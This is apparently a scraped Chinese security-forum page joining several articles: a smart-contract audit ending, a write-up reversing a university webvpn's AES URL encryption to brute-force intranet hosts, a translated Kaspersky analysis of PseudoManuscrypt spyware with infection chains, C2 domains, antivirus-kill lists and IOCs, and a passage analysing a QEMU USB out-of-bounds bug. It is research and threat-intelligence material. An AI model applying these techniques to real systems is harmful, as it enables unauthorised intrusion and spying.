all developers review their contract code and check they comply with the REC20
contract standard whether or not.
#### 6\. Reference
[1] ERC standard
<https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md>
[2] Morpheus official announcement
<https://medium.com/@themorpheus/new-morpheus-network-token-smart-contract-91
b80dbc7655>[/https://medium.com/@themorpheus/new-morpheus-network-token-smart-contract-91](mailto:/https://medium.com/@themorpheus/new-morpheus-network-token-smart-contract-91)
[3] Constructor writing problem vulnerability details
<https://mp.weixin.qq.com/s/xPwhanev-cjHhc104Wmpug>
* * * | 社区文章 |
## 一.起
是最近在实战中遇到的一个webvpn系统，有不少高校在使用，但是登录进来后发现几乎没有公开任何内网资产，都是国内外的期刊或者公共图书馆资源，于是想着能不能通过webvpn排查出更多内网中的资产面，于是便有了这篇文章。
## 二.承
以前遇到的一些vpn系统，在前台就有快速跳转的功能
点击访问后，url地址传给服务器，由服务器端进行加密，随后使用302重定向到加密后的地址：
如果我们要通过webvpn对目标内网中的http服务进行爆破的话，就可以通过，写脚本，调用上面的加密接口，获得响应包中的Location字段来获得加密地址，判断该地址能否成功访问的方式进行爆破。
但是这次遇到的webvpn系统却没有提供前台输入url地址直接跳转的功能，只能访问导航中给出的一些等公共资源
而且点击跳转后有没有看到服务器加密解密的过程，估计是在前端完成的url加密
还是先看一下网站结构，发现引用了aes-js.js文件，盲猜使用了aes加密。
由于该系统没有使用webpack打包，js也没有进行混淆或加密，所以给我们的调试工作带来了不少方便。
一般正常情况下遇到混淆的js代码，我都会先用工具搜索一下字符串，如果运气好可能一些密钥key就直接硬编码在了js里
但是这次没这么容易扫到什么敏感信息，那还是直接上F12大法吧
搜索encrypt字样，定位到portal.js文件，可以确认系统的加密是使用的aes-js库，而且定义AES加密模式是cfb
但是没有发现关键的key和iv，那就先找找key
原来是通过api获取的
通过burp抓包也得以验证，现在获取到了key和iv，我们再来认真分析下加密算法具体是如何实现的
text是待加密的明文参数，由于aes加密中要求明文的字节长度是16位的倍数，所以先使用textRightAppend()方法判断text字节长度，决定需不需要追加0来填充，然后将明文、key和iv使用toBytes()方法转换成utf-8编码的byte数组，new了一个aesCfb对象，使用上述的key和iv进行cfb模式的aes加密，由于没有声明填充模式，我们猜测是使用的默认的PKCS5Padding，又因为给定的密钥是16位，所以数据块应是128，最后将加密密文先转成十六进制字符串再slice一下，即只截取明文字符串两倍长度的密文字符串，和转成十六进制的iv拼接好，就形成了最终的密文。
知道了加密算法，我们再搜索encrypt字样看看哪里调用了加密算法
通过函数名encryptUrl可以大概猜到是对url进行加密的函数
结合console调试的结果，大概可以得知这样一个加密过程：首先生成协议名-端口，如果是https则不需要加上端口号，再得到encrypt()方法加密的主机地址，最后保留原有的url路径和query参数。
我们继续搜索encryptUrl字样找到调用了该方法的go函数
不难看出这个函数主要是用于实现跳转的，对于传入的url地址，分别用parseProtocol和parseHost方法分离出没有冒号双斜杠的协议名和主机地址，如果主机地址parse为空或失败的话，跳转到百度搜索，如果是http、https、ssh这些协议的话会先记录到历史，然后再跳转。
## 三.转
大概逻辑理清楚了，我们先验证一下：
将“www.baidu.com”进行aes加密后得到“e7e056d2253161546b468aa395364056”，截取长度26，即“e7e056d2253161546b468aa395”
将iv string转hex后的结果“77726476706E69737468656265737421”
两者拼接 = “77726476706E69737468656265737421e7e056d2253161546b468aa395”
和控制台调试的结果一致，验证成功，证明我们的分析没有问题。
## 四.合
最后要做的就是写个脚本进行爆破了
## 五.后话
后来对api进行深一步测试的时候发现，其实该系统还是配置了快速跳转的功能的，不过管理员默认关闭了，我们只需要修改一下响应包就可以成功使用这个功能，点击跳转后本质上还是调用之前分析的go()方法。
其实类似爆破还可以写油猴脚本，直接调用go()方法，会省下很多代码，但是脚本的优势也是很明显的，我们可以使用多线程，根据timeout和Location字段等方式判断目标是否可达。 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://ics-cert.kaspersky.com/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/>**
2021年6月，Kaspersky ICS CERT 专家发现了一个恶意软件，其加载程序与 Manuscrypt
恶意软件有一些相似之处，Manuscrypt 是 Lazarus APT
组织的武器库的一部分。2020年，该组织在攻击不同国家的国防企业时使用了Manuscrypt。这些攻击在报告中被描述为[“Lazarus用ThreatNeedle攻击国防工业”](https://ics-cert.kaspersky.com/reports/2021/02/25/lazarus-targets-defense-industry-with-threatneedle/)。
奇怪的是，恶意软件的数据外泄通道使用了 KCP 协议的一个实现，这个实现以前只被看作是 APT41组织工具集的一部分。
我们将新发现的恶意软件命名为 PseudoManuscrypt。
PseudoManuscryptd的加载程序通过一个 MaaS 平台进入用户系统，这个 MaaS
平台在盗版软件安装档案中分发恶意软件。具体举例，PseudoManuscrypt 下载器是通过 Glupteba 僵尸网络安装的，Glupteba
僵尸网络的主要安装程序也是通过盗版软件安装程序分发平台发布的。这意味着，使用PseudoManuscrypt的攻击者所使用的恶意软件分发策略并没有显示出特定的目标。
在2021年1月20日至11月10日期间，卡巴斯基的产品在全球195个国家的35000多台电脑上阻止了 PseudoManuscrypt
恶意软件。如此大量的受攻击系统数量并不是 Lazarus 组织或 APT 组织攻击的特点。
攻击的目标包括大量的工业和政府组织，包括军事工业复合体的企业和研究实验室。
根据我们的遥测数据，至少有7.2%
受到了PseudoManuscrypt的攻击的计算机与工业控制系统有关，而这些系统被工程、智能建筑、能源、制造、建筑、公用事业和水管理等行业的组织所使用。
主要的 PseudoManuscrypt 模块具有广泛而多样的监视功能。它包括盗取 VPN
连接数据、记录按键、截取屏幕截图和视频、用麦克风录音、盗取剪贴板数据和操作系统事件日志数据(这也使盗取 RDP
认证数据成为可能)等等。从本质上讲，PseudoManuscrypt的功能几乎为攻击者提供了对受感染系统的完全控制。
## 技术细节
### 识别加载程序.一般信息
2021年6月，Kaspersky ICS CERT 专家发现了一系列针对全球组织的攻击，包括政府组织和工业企业。
最初，当它用来检测 Lazarus APT
的活动触发防病毒解决方案的检测逻辑时，这个恶意软件被检测到。然而，整体情况太不寻常，不能将恶意行为与Lazarus联系起来。具体来说，PseudoManuscrypt恶意软件至少攻击了35,000个系统，这不是定向攻击的特征。
研究表明，攻击中使用的恶意软件从系统注册中心加载有效负载并解密。对于每个受感染的系统，有效负载在注册表中的位置是唯一的。
新发现的恶意软件加载程序与 Manuscrypt 恶意软件使用的加载程序有一些相似之处。2020年，Lazarus 组织使用 Manuscrypt
来攻击不同国家的国防企业。
两个恶意程序都从系统注册表加载并解密有效负载; 在这两种情况下，都使用 CLSID
格式的特殊值来确定有效负载在注册表中的位置。两个恶意程序的可执行文件实际上有相同的导出表:
[ _两个恶意程序导出表的比较_
此外，这两个恶意程序使用类似的可执行文件命名格式:
[ _可执行文件名_
为了强调新发现的恶意软件与 Manuscrypt 的相似性，同时又没有其他东西可以将其与 Lazarus 组织联系起来，我们决定将其命名为 Trojan
PseudoManuscrypt。
### 系统感染
PseudoManuscrypt
加载程序通过许多其他恶意文件的安装和创建许多不同进程的复杂链路进入用户系统。这些链路是多种多样的，但他们都开始伪造盗版软件安装档案。档案名称包含不同类型和用途的软件的案例，例子如下:
microsoft_office_365_july_keygen_by_keygensumo.zip
windows_10_pro_full_keygen_by_keygensumo.zip
adobe_acrobat_v8_0_keygen_by_keygensumo.zip
garmin_1_serial_keygen.zip
call_of_duty_black_ops_keygen_by_keygensumo.zip
kaspersky_antivirus_keys_july_keygen_by_keygensumo
solarwinds_broadband_engineers_keymaker.zip
modscan32_v8_a00_crack.zip
值得注意的是，这些档案中包括专门针对 ICS 的软件的伪装安装程序，例如一个创建一个 MODBUS 主设备以接收来自 PLC
的数据的应用程序，以及一些更通用的软件，这些软件仍然用于 OT 网络，例如一个供网络工程师和系统管理员使用的 SolarWinds 工具的密钥生成器。
[
_搜索引擎结果中包含安装程序的恶意网页_
用于分发此类安装程序的资源可以在搜索引擎结果页面的顶部位置找到。这表明攻击者正在积极地为这些资源执行搜索引擎优化。
### 执行流程
PseudoManuscrypt安装的过程中，不同的恶意程序的执行流程有许多可能的变化。
除了本文分析，恶意软件安装程序还下载并执行大量其他恶意程序，包括间谍软件、后门、加密货币挖掘程序和广告软件。
在每个阶段，我们检测到大量不同的dropper安装和模块下载，数据盗窃功能复制在不同的模块且每个模块使用自己的命令和控制服务器。这可能表明安装程序是由攻击者通过
MaaS 平台提供的，可能提供给不同恶意活动的众多运营商，其中之一显然是PseudoManuscrypt分发活动。
下面显示的示例和图片说明了安装 pseudonuscrypt 的进程链。
#### 变体1
[ _执行流程，变体1_
在第一种变体中:
* 文件密钥.bat是从伪造安装程序中提取的，
* 密钥.bat执行Keygen-step-4.exe（e41826b342686c7f879474c49c7eed98），
* Keygen-step-4.exe安装并执行flash player.exe（2aab0ec738374db4e872812a84a0bc11），
* flashplayer.exe安装并执行2.exe（8b9f6b0c98c0afdd75c2322f1ca4d0e8）
* 文件2.exe 使用链接 hxxps://google [ . ] diragame [ . ] com/userf/3002/gogonami.exe 下载主要的PseudoManuscrypt 模块--game.exe (0001759655eacb4e57bdf5e49c6e7585)。
#### 变体2
[ _执行流程，变体2_
在第二种变体中:
* 文件main_setup_x86x64.exe（1fecb6eb98e8ee72bb5f006dd79c6f2f）是从伪造安装程序中提取的，
* main_setup_x86x64.exe安装并执行setup_installer.exe（5de2818ced29a1fedb9b24c1044ebd45），
* setup_installer.exe安装并执行setup_install.exe（58EFF6FA04A8D7201AB19170785CE85）。
* setup_install.exe安装并执行文件metina_8.exe（839e9e4d6289eba53e40916283f73ca6）。
* 文件metina _ 8.exe 提取并执行PseudoManuscrypt-crack.exe (89c8e5a1e24f05ede53b1cab721c53d8)。
这种变体包含 Glupteba 基础设施和恶意软件安装程序(例如 setup _ install.exe)。自2011年以来，研究人员已经知道了
Glupteba
僵尸网络。它是一个多模块平台，在不同的时间段下载广告软件、间谍软件、加密货币挖矿恶意软件、勒索软件、垃圾邮件模块和其他常见的与网络犯罪活动相关的软件。Glupteba平台相当复杂，包括许多不同的模块，例如利用各种漏洞，包括利用路由器以及
rootkit。这就是为什么 rootkit，EternalBlue 漏洞的模块，以及其他 Glupteba 模块会通过 Glupteba
僵尸网络被PseudoManuscrypt感染。
在 BitDefender
描述的另一个变体中，PseudoManuscrypt安装程序(8acd95006ac6d1eabf37683d7ce31052)是使用链接`hxxps://jom[.]diregame[.]live/userf/2201/google-game.exe`下载的。根据我们的遥测数据，至少在2021年5月17日下载就开始了。值得注意的是，在不同的时间段，这个链接可以用来下载不同组织的恶意软件。
### 搜索恶意软件的其他组件
在搜索该恶意软件的其他组件和版本的过程中，我们找到了100多个不同版本的 PseudoManuscrypt 加载程序。
根据我们的遥测数据，本文所描述的加载器变体的大规模分发始于2021年5月10日。然而，早在2021年3月27日，早在攻击开始之前，它的早期变体就被发现了。
三月份发现的大多数文件都是测试版本。开发人员一个接一个地删除了恶意程序的部分代码，显然是想通过防病毒解决方案找出代码的哪些部分触发了检测。
大约在同一时间，恶意软件的开发者添加了 VirtualAlloc 函数的动态导入。该函数用于分配存储负载所需的内存，负载从系统注册表加载。
奇怪的是，一些加载程序的测试版本在可执行文件的元数据字段中包含注释。这些注释是用中文写的，表明恶意软件开发者可能会说和写中文:
[ _恶意软件的可执行文件中的元数据_
### 恶意软件的主要组成部分
最后，我们识别出了PseudoManuscrypt的主要模块，其功能包括在系统上安装恶意软件，并包含一个有效载荷，由此我们可以知道攻击者感兴趣的数据类型。
#### 安装
恶意软件的主模块将其代码写入HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID密钥中的特殊注册表值。值名称(CLSID
值)对于每个系统都是唯一的，因为它是使用注册表键HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid生成的，其中包含系统的唯一标识符。恶意程序的代码以加密的形式存储在系统注册表中。
接下来，恶意软件提取，到`% TEMP%`文件夹或`% windr%`文件夹(取决于恶意软件的修改) ，加载程序组件是一个 DLL 库，在`[0-Z
]{10}.tmp`格式中有一个随机文件名，例如，`I59RFRLY9J.tmp`。
为了确保有效负载在系统启动后自动执行，木马创建了一个服务，该服务将加载器组件作为其可执行文件。在最早发现的恶意软件样本中，由恶意软件创建的服务名为
AppService。
最后，这个恶意软件通过修改注册表关键字HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
Defender\Exclusions\Paths，将自己加入到 Windows Defender 防病毒解决方案的排除列表中。
随后，在系统重启后，恶意软件加载程序被执行。使用 MachineGuid
密钥的值来确定有效负载在系统注册表中的位置，加载程序加载、解密并执行恶意软件的主要组件。
[ _恶意软件的安装和执行_
#### 破坏性活动，第一版
第一个需要识别的PseudoManuscrypt主模块的变体包括几个模块，这些模块的共同目标是从受害者的计算机中窃取机密信息。
1.键盘记录器。使恶意软件能够拦截用户在键盘上按下的键的代码。除了密钥代码，恶意软件还记录了输入数据的应用程序窗口的名称，以及输入信息的日期和时间。攻击者从其他恶意软件-Fabookie (Trojan.Win32.Fabookie) 借用这个恶意组件，Fabookie有几个模块用于窃取各种服务和网站的身份验证凭证。
作者只借用了 Fabookie
的键盘记录器模块，而忽略了为以最快的方式将攻击货币化而设计的模块，例如，从网页中窃取银行信息的模块。这为我们提供了一个视角，尽管是间接的，来研究攻击目标。
2.从剪贴板中窃取数据。使攻击者能够截获在受感染系统上工作的用户复制的信息
3.窃取 VPN 连接数据。该恶意软件获取 Windows 服务文件的内容，这些文件用于在被感染系统上配置的 VPN 连接上存储数据:
%UserProfile%\Application Data\Microsoft\Network\Connections\pbk\rasphone.pbk
%ProgramData%\Microsoft\Network\Connections\pbk\rasphone.pbk
木马试图从上述档案中提取以下资料:
* 要连接的服务器的地址
* 登录账号和密码，如果已经被保存了的话
值得强调的是，恶意软件的不同组成部分同时运作，为攻击者提供来自不同来源的信息。攻击者可以将这些信息组合在一起并使用所有这些信息。
例如，恶意软件可以从文件 rasphone.pbk 中获取以连接参数形式保存的 VPN
服务器地址。同时，键盘记录器模块可以截获连接所需的登录名和密码。如果用户使用剪贴板复制连接参数，恶意软件的相关模块将截获数据。
4.除了窃取 VPN 连接数据之外，PseudoManuscrypt 的功能还包括读取 Windows
应用程序、系统和安全事件日志。我们不能确定攻击者使用操作系统日志文件中的数据来做什么，但是理论上，它可以用来(与其他位的
PseudoManuscrypt功能一起)为 RDP 窃取身份验证数据。这看起来很合理，因为恶意软件具有盗取 VPN 证书的能力
5.录制连接到被感染系统的麦克风的声音。这个功能是在恶意软件命令和控制服务器的命令下激活的。
#### 破坏性活动，第二版
恶意软件的第二个变体在2021年7月被发现。攻击者已经增加了扩展间谍功能的变体。增加了以下模块:
1.从电脑屏幕上捕捉视频。该功能与其他用于截取信息的模块一起工作，如键盘记录器和从剪贴板窃取数据的模块。捕获屏幕视频使攻击者能够看到用户填写的字段和窗口，以及跟踪光标的移动，看到用户用鼠标点击的区域。值得一提的模块特性包括透明窗口支持(aero
peek 技术)和使用 GNU GPL XviD 1.3.0编解码器的视频压缩。
2.从亚洲流行的 QQ 和微信消息应用程序中窃取身份验证凭证。
3.收集详细的系统信息: Windows 版本、构建编号、 servicepack、安装更新信息和 Windows
版本，以及系统的角色，例如，系统是否执行网域控制器功能。
4.收集网络连接数据。该恶意软件收集网络适配器的名称，以及连接类型信息(有线连接、 Wi-Fi、光纤连接等)。
5.禁用防病毒解决方案。该恶意软件试图获得 SeDebugPrivilege 特权并终止以下安全解决方案进程:
sepWscSvc.exe
HipsTray.exe
UnThreat.exe
DF5Serve.exe
DefenderDaemon.exe
PowerRemind.exe
SafeDogSiteIIS.exe
SafeDogTray.exe
SPIDer.exe
f-secure.exe
avgwdsvc.exe
BaiduSdSvc.exe
ServUDaemon.exe
1433.exe
vsserv.exe
remupd.exe
PSafeSysTray.exe
AliIM.exe
mssecess.exe
MsMpEng.exe
QUICK HEAL
QUHLPSVC.EXE
V3Svc.exe
patray.exe
AYAgent.aye
Miner.exe
TMBMSRV.exe
knsdtray.exe
K7TSecurity.exe
QQPCTray.exe
ksafe.exe
rtvscan.exe
ashDisp.exe
avcenter.exe
kxetray.exe
egui.exe
Mcshield.exe
RavMonD.exe
KvMonXP.exe
360sd.exe
360tray.exe
DR.WEB
cfp.exe
DUB.exe
avp.exe
该恶意软件还会删除属于安全解决方案的服务的注册表项，这些服务的名称包含以下子字符串:
Symantec
UnThreat
Defender
PowerShadow
QuickHeal
F-Secure
BitDefender
Windows Defender
1433
NOD32
6.收集有关在 TCP 和 UDP 端口上接受网络连接的进程的信息
7.PseudoManuscrypt有一个功能会删除一个名为“TestDown”的文件，该文件与恶意程序位于同一文件夹中，然后从浏览器的缓存中清除URL地址`htt[p]://sw.bos.baidu.com/sw-search-sp/software/df60f52e0e897/qqpcmgr_12.7.18996.207_1328_0.exe`
，再次从上述URL地址下载文件，以替换删除的文件“TestDown”，并将新创建的文件的属性设置为“hidden”和“system”。
8.清除 Windows 应用程序、安全性和系统事件日志
9.将从恶意软件C2服务器接收到的数据写入系统文件
`%System32%\drivers\etc\hosts`，从而使攻击者能够将用户重定向到恶意网络资源或阻止对选定网站的访问
10.在C2服务器和恶意软件之间交换文本信息。恶意软件可以通过聊天打开一个窗口。
新的PseudoManuscrypt版本的服务以“ iexplore”的名称安装在系统中，显示名称为“ System Remote Data
Simulation Layeerr”。新的恶意软件版本的功能还包括更新其可执行文件，并根据恶意软件C2服务器的命令从系统中删除自己。
奇怪的是，其中一个恶意软件样本使用 IP
地址192.168.1.2作为代理服务器。这可能表明，在某些情况下，攻击者根据受害者使用的特定网络结构准备了恶意软件样本。
在新版本的 PseudoManuscrypt 中，攻击者还添加了别的功能，能将用户按下的密钥代码写入本地日志文件:`% System32%
9cda11af69ab0a2b6a9167f7131e7b93.key`。
最后，新版本的木马在连接到恶意软件C2服务器时发送以下 HTTP 头信息:
HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Connection: Close
Cache-Control: no-cache
可以看出，恶意软件告诉服务器，首选答复语言是中文。
#### 向攻击者发送数据
恶意软件收集的数据被发送到恶意软件命令控制服务器。在我们的研究过程中，确定了四个这样的服务器: `email.yg9[.]me`,
`google.vrthcobj[.]com`, `toa.mygametoa[.]com` 和 `tob.mygametob[.]com`。
KCP 协议用于连接到服务器。根据它的开发者的说法，该协议比 TCP 快10%-20% 。攻击者使用了 KCP 协议的特定实现。
奇怪的是，根据 FireEye的一份[报告](https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html)，PseudoManuscrypt使用的 KCP
库也被apt41组织利用，来攻击各行各业的工业组织，包括工程和国防工业企业。除了上面提到的两种情况，我们对恶意软件集合的分析没有发现这个库被用于其他恶意软件。
一些被识别出来的恶意软件样本也使用一个名为 d.diragame. com 的恶意软件专有服务器来发送新系统感染的信息。我们认为这可能是一个 MaaS
平台的统计数据收集机制。
## 受害者
在2021年1月20日至11月10日期间，卡巴斯基产品在全球195个国家的35000多台电脑上阻止了 PseudoManuscrypt。
下面的图表显示了已阻止 PseudoManuscrypt
的计算机数量的日常变化。图表上的两个明显的激增——3月27日和5月15日——对应的是新的PseudoManuscrypt版本发布/分发的开始日期。
[
_每天检测到PseudoManuscrypt的系统数量_
阻止的计算机里，至少有7.2% 的计算机是 ICS 计算机。
[
_工业系统在受攻击计算机系统中所占的份额_
如下图所示，近三分之一(29.4%)的非 ics 计算机位于俄罗斯(10.1%) ，印度(10%)和巴西(9.3%)。
[ _不同国家非 ics
计算机受到PseudoManuscrypt攻击的百分比_
非 ICS 计算机受到PseudoManuscrypt攻击的国家分布情况与 ICS
计算机相似。然而，一些国家，其中大多数位于亚洲和中东，在被攻击的ICS计算机的国家排名中所占百分比显著高于(按1.5-2的系数)被攻击的非ICS计算机的国家排名中所占百分比。
[
_被PseudoManuscrypt攻击的 ICS 计算机百分比，按国家分列_
有相当一部分(31.5%)的工业系统显然是用于工程，即开发和启动各种工业产品的生产，以及用于国防和能源工业等不同行业的 ICS 开发和集成。这包括用于3 d
建模和物理模拟的计算机，以及安装了创建数字双胞胎软件的计算机。
此外，在阻止了PseudoManuscrypt的电脑中，约有12.5% 属于智能建筑系统(包括视频监控、访问控制系统、通知系统等) ，1.8%
属于能源部门，2.1% 属于各种制造设施，0.7% 属于建筑(结构工程) ，0.1% 属于公用事业电脑，0.1% 属于用于水处理系统。
在阻止了PseudoManuscrypt的电脑中，大约51.2% 的工业计算机是通用 ICS，我们还不敢肯定，将其与特定行业联系起来。
[
_工业系统中被PseudoManuscrypt攻击的分布情况_
除以上提到的外，攻击受害者还包括与军事工业复合体有联系的企业(如研究实验室)。
另一个奇怪的事实是，根据来自公共来源的信息判断，一些被“PseudoManuscrypt”攻击的组织与遭受卡巴斯基报告所述攻击的组织有商业和生产联系:
“[Lazarus用ThreatNeedle攻击国防工业](https://ics-cert.kaspersky.com/reports/2021/02/25/lazarus-targets-defense-industry-with-threatneedle/)”。
## 关于攻击者
我们已经发现的一系列线索有利于研究攻击者的起源或关系:
1. 一些恶意软件样本在可执行文件元数据中包含中文注释
2. 数据通过一个以前只用于中国组织 apt41的恶意软件的库发送到攻击者的服务器
3. 当连接到C2服务器时，恶意软件指定中文为首选语言
4. 这个恶意文件包含连接到百度的代码，百度是中国流行的文件云存储
5. 开发者在每天上载新版本的PseudoManuscrypt加载器的时间，是在 GMT + 8时区的上午11时至下午7时之间，而多个东亚及亚太国家位于该时区内
[
_攻击者恶意软件测试活动频次_
## 总结
尽管我们收集和分析了大量的数据，但是在我们看来，我们的许多发现仍然无法解释，也不符合任何已知的方案。
因此，我们不能肯定地说，这场攻击是犯法的逐利行为，还是与某些政府的利益相关的行为。然而，受到攻击的系统来自不同国家知名组织的计算机，这一事实使我们评估威胁程度较高。
受到攻击的系统数量很大，我们不确定重点在具体的哪个产业组织。然而，由于全球有大量的 ICS
计算机(仅根据我们的遥测数据就有数百台——实际上很可能还有更多)在这场运动中受到攻击，这种威胁当然值得负责车间系统的安保和安全及其持续运行的专家给予最密切的关注。
大量的工程计算机受到攻击，包括用于3 d 和物理模型的系统，数字双胞胎的开发和使用使工业间谍活动成为可能。
我们还没有结束我们的调查，并将持续发布新的发现的消息
## IOC
### 校验和(MD5)
在本节中，我们列出了那些我们认为用于攻击的文件的 md5散列，但没有列出恶意软件测试样本的 md5散列
1fecb6eb98e8ee72bb5f006dd79c6f2f
4da2c2abcf1df9749b64b34160bd3ebf
5dc7fbf2141f7dfe5215c94895bf959c
70e9416833b2f933b765042f8e1ea0bc
8074f73f7742309b033676cd03eb0928
8ae40c8418b2c36b58d2a43153544ddd
### 文件路径
%WinDir%\System32\[0-Z]{10}.tmp e.g. I59RFRLY9J.tmp
%TEMP%\[0-Z]{10}.tmp e.g. I59RFRLY9J.tmp
%WinDir%\System32\9cda11af69ab0a2b6a9167f7131e7b93.key
### 安全解决方案
Trojan.Win64.Manuscrypt.do
### URL 地址
hxxp://email.yg9[.]me
hxxp://google.vrthcobj[.]com
hxxp://d.diragame[.]com
toa.mygametoa[.]com
tob.mygametob[.]com
* * * | 社区文章 |
## 环境搭建
（1）制作qcow2虚拟机镜像
创建qcow2硬盘文件：
qemu-img create -f qcow2 ubuntu-server.qcow2 5G
制作linux qcow2镜像：
sudo kvm -m 1028 -cdrom /mnt/hgfs/Share/VM-study/ubuntu-18.04.5-live-server-amd64.iso -drive file=ubuntu-server.qcow2,if=virtio -net nic,model=virtio -net tap,script=no -boot d -vnc :0
后续使用vnc-view连接 127.0.0.1:0 进行系统安装
（2）源码编译qemu
为了qemu启动能使用qxl-vga设备，需要提前安装spice，开启spice进行编译
a、安装spice依赖：
安装spice-protocol：
wget https://spice-space.org/download/releases/spice-protocol-0.12.10.tar.bz2
tar xvf spice-protocol-0.12.10.tar.bz2
cd spice-protocol-0.12.10/
./configure
make
sudo make install
安装celt：
wget http://downloads.us.xiph.org/releases/celt/celt-0.5.1.3.tar.gz
tar zxvf celt-0.5.1.3.tar.gz
cd celt-0.5.1.3/
./configure
make
sudo make install
安装依赖：
sudo apt install libjpeg-dev
sudo apt-get install libsasl2-dev
安装spice-server
wget https://spice-space.org/download/releases/spice-server/spice-0.12.7.tar.bz2
tar xvf spice-0.12.7.tar.bz2
cd spice-0.12.7/
./configure
make
sudo make install
b、编译qemu源码
git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout tags/v4.2.1
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror --enable-spice
make
编译出来qemu的路径为./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64
c、制作usb设备：<https://blog.csdn.net/kingtj/article/details/82952783>
qemu-img create -f raw disk_01.img 32M
mkfs.vfat disk_01.img
d、启动脚本
/home/osboxes/study/vul/qemu-14364/src/qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 \
-machine q35 \
-m 1G \
-hda ubuntu-server.qcow2 \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22 \
-enable-kvm \
-usb \
-drive if=none,format=raw,id=disk1,file=/home/osboxes/study/vul/qemu-14364/disk_01.img \
-device usb-storage,drive=disk1 \
-device qxl-vga \
e、调试断点（自选）
b do_token_setup
b do_token_in
b do_token_out
b ehci_opreg_write
b usb_ehci_init
b ehci_work_bh
## 漏洞分析
关键结构：
struct USBDevice {
DeviceState qdev;
USBPort *port;
char *port_path;
char *serial;
void *opaque;
uint32_t flags;
/* Actual connected speed */
int speed;
/* Supported speeds, not in info because it may be variable (hostdevs) */
int speedmask;
uint8_t addr;
char product_desc[32];
int auto_attach;
bool attached;
int32_t state;
uint8_t setup_buf[8];
uint8_t data_buf[4096]; <----------- int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];
QLIST_HEAD(, USBDescString) strings;
const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
const USBDescDevice *device;
int configuration;
int ninterfaces;
int altsetting[USB_MAX_INTERFACES];
const USBDescConfig *config;
const USBDescIface *ifaces[USB_MAX_INTERFACES];
};
EHCIState 结构：
struct EHCIState {
USBBus bus;
DeviceState *device;
qemu_irq irq;
MemoryRegion mem;
AddressSpace *as;
MemoryRegion mem_caps;
MemoryRegion mem_opreg;
MemoryRegion mem_ports;
int companion_count;
bool companion_enable;
uint16_t capsbase;
uint16_t opregbase;
uint16_t portscbase;
uint16_t portnr;
/* properties */
uint32_t maxframes;
/*
* EHCI spec version 1.0 Section 2.3
* Host Controller Operational Registers
*/
uint8_t caps[CAPA_SIZE];
union {
uint32_t opreg[0x44/sizeof(uint32_t)];
struct {
uint32_t usbcmd;
uint32_t usbsts;
uint32_t usbintr;
uint32_t frindex;
uint32_t ctrldssegment;
uint32_t periodiclistbase;
uint32_t asynclistaddr;
uint32_t notused[9];
uint32_t configflag;
};
};
uint32_t portsc[NB_PORTS];
/*
* Internal states, shadow registers, etc
*/
QEMUTimer *frame_timer;
QEMUBH *async_bh;
bool working;
uint32_t astate; /* Current state in asynchronous schedule */
uint32_t pstate; /* Current state in periodic schedule */
USBPort ports[NB_PORTS];
USBPort *companion_ports[NB_PORTS];
uint32_t usbsts_pending;
uint32_t usbsts_frindex;
EHCIQueueHead aqueues;
EHCIQueueHead pqueues;
/* which address to look at next */
uint32_t a_fetch_addr;
uint32_t p_fetch_addr;
USBPacket ipacket;
QEMUSGList isgl;
uint64_t last_run_ns;
uint32_t async_stepdown;
uint32_t periodic_sched_active;
bool int_req_by_async;
VMChangeStateEntry *vmstate;
};
漏洞点在于 qemu-4.2.1\hw\usb\core.c: do_token_setup函数中
【1】处s->setupbuf的内容用户可控，可赋值给s->setuplen最大 0xff<<8 |0xff =
0xffff大小，而【2】处的判断，由上面USBDevice结构可知，s->data_buf的大小为4096个字节。过大的s->setup_len
会进行返回，但s->setup_len已经被赋值了，该处的检查没有起到效果。
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;
if (p->iov.size != 8) {
p->status = USB_RET_STALL;
return;
}
usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; // <----【1】
if (s->setup_len > sizeof(s->data_buf)) { // <----【2】
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];
if (s->setup_buf[0] & USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
s->setup_state = SETUP_STATE_SETUP;
}
if (p->status != USB_RET_SUCCESS) {
return;
}
if (p->actual_length < s->setup_len) {
s->setup_len = p->actual_length;
}
s->setup_state = SETUP_STATE_DATA;
} else {
if (s->setup_len == 0)
s->setup_state = SETUP_STATE_ACK;
else
s->setup_state = SETUP_STATE_DATA;
}
p->actual_length = 8;
}
之后在qemu-4.2.1\hw\usb\core.c：do_token_in 中【3】处使用s->setup_len 获得
len，而p->iov.size 也由用户可控，例如设置p->iov.size 大小为0x1f00，则len 最大为0x1f00，大于s->data_buf
的size：4096，所以会在【4】的复制操作造成越界访问。
static void do_token_in(USBDevice *s, USBPacket *p)
{
